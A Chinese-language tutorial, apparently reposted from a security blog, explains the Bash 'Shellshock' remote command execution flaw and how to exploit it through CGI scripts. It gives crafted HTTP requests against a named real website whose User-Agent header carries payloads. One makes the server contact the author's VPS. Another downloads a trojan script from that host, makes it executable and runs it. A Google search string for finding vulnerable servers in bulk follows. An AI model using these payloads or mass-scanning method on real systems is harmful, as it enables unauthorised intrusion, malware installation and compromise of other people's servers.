明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

Bash遠(yuǎn)程解析命令執(zhí)行漏洞測(cè)試方法

[摘要]從昨天開始,這個(gè)從澳大利亞遠(yuǎn)渡重洋而來的BASH遠(yuǎn)程命令執(zhí)行漏洞就沸騰了整個(gè)FreeBuf,大家都在談?wù)摚?amp;ldquo;互聯(lián)網(wǎng)的心臟又出血了”,可是,親,到底怎么對(duì)網(wǎng)站進(jìn)行測(cè)試?下面這段腳本$ env x=‘() { :;}; echo vulner...

從昨天開始,這個(gè)從澳大利亞遠(yuǎn)渡重洋而來的BASH遠(yuǎn)程命令執(zhí)行漏洞就沸騰了整個(gè)FreeBuf,大家都在談?wù)摚?ldquo;互聯(lián)網(wǎng)的心臟又出血了”,可是,親,到底怎么對(duì)網(wǎng)站進(jìn)行測(cè)試?下面這段腳本

$ env x=‘() { :;}; echo vulnerable'  bash -c "echo this is a test"

真的如各路大神們說的這樣嗎?

它與“心臟出血”漏洞不同,“心臟出血”只能借助竊取用戶電腦信息,而bash 漏洞允許黑客遠(yuǎn)程控制電腦,拿到系統(tǒng)最高權(quán)限!其方法利用就更簡(jiǎn)單了——復(fù)制/粘貼一行命令代碼即可!

Bash漏洞為什么能夠執(zhí)行

Bash漏洞的原理:

    BASH除了可以將shell變量導(dǎo)出為環(huán)境變量,還可以將shell函數(shù)導(dǎo)出為環(huán)境變量!當(dāng)前版本的bash通過以函數(shù)名作為環(huán)境變量名,以“(){”開頭的字串作為環(huán)境變量的值來將函數(shù)定義導(dǎo)出為環(huán)境變量。

    此次爆出的漏洞在于BASH處理這樣的“函數(shù)環(huán)境變量”的時(shí)候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令。

簡(jiǎn)單地說就是,Bash腳本在解析某些特殊字符串時(shí)出現(xiàn)邏輯錯(cuò)誤導(dǎo)致可以執(zhí)行后面的命令。

Bash漏洞與遠(yuǎn)程執(zhí)行有啥聯(lián)系

看到上面的解釋,很多童鞋都理解成了本地的漏洞,然后很多人又覺得,本地有啥可以利用的,于是就忽略了這個(gè)神級(jí)漏洞的存在。我想說的是,這個(gè)漏洞,利用熱度可以媲美當(dāng)年的MS08-067,威力雖然弱了點(diǎn),但遠(yuǎn)程控制電腦還是可以的。

首先解釋一下cgi腳本。很多網(wǎng)站類似下面的鏈接:

GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1

后臺(tái)不僅僅用python、Perl來解釋執(zhí)行并反饋給客戶端Response,當(dāng)然還可以換做bash腳本來解釋執(zhí)行提交上來的GET/POST請(qǐng)求。所以,理論上,你在HTTP請(qǐng)求中插入一個(gè)Bash命令,比如

() { :;}; wget http://www.myvps.org/testvul.sh

如果服務(wù)器的Bash解釋器具有這個(gè)漏洞,那么在解釋上面這這句話的時(shí)候就會(huì)執(zhí)行wget請(qǐng)求,將一個(gè)惡意的testvul.sh文件下載到這個(gè)服務(wù)器,那為何說要放在HTTP頭部呢?比如:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

這是因?yàn)檫@個(gè)漏洞是bash解釋器在解釋某些特殊的變量時(shí)才可以觸發(fā)的:

    在于BASH處理以“(){”開頭的“函數(shù)環(huán)境變量”的時(shí)候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令

通過自定義這些參數(shù)的值為“函數(shù)環(huán)境變量”的形式,就可以觸發(fā)后面的命令,惡意的客戶僅需要發(fā)送特殊構(gòu)造的HTTP請(qǐng)求就可以使服務(wù)器執(zhí)行特定的命令(命令的權(quán)限和解釋HTTP請(qǐng)求的Bash腳本環(huán)境相同)。

實(shí)際測(cè)試中,我的構(gòu)造的測(cè)試請(qǐng)求:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

過程是這樣的:

我發(fā)送GET請(qǐng)求–>目標(biāo)服務(wù)器cgi路徑

目標(biāo)服務(wù)器解析這個(gè)get請(qǐng)求,碰到UserAgent后面的參數(shù),Bash解釋器就執(zhí)行了后面的命令

目標(biāo)服務(wù)器wget–>我的myvps.org

我的vps記錄下這個(gè)訪問的IP地址

然后查看我的myvps.org服務(wù)器的訪問記錄,就可以確定目標(biāo)有沒有去訪問,如果訪問了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget請(qǐng)求訪問的日志:

大神是這樣測(cè)試漏洞的

當(dāng)然,你也可以這樣構(gòu)造:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh   ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

實(shí)際上執(zhí)行了下面三句:

/usr/bin/wget -O /tmp/muma.sh  http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh

你會(huì)發(fā)現(xiàn),你的木馬就這么腳本了,這就是Bash漏洞利用的精髓。

當(dāng)然,你可以利用批量Google搜索:

filetype:cgi inurl:cgi-bin site:jp

然后批量提交類似的GET請(qǐng)求,你就能做到批量測(cè)試了。測(cè)試表明,500個(gè)url里有6-8個(gè)有bash漏洞


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。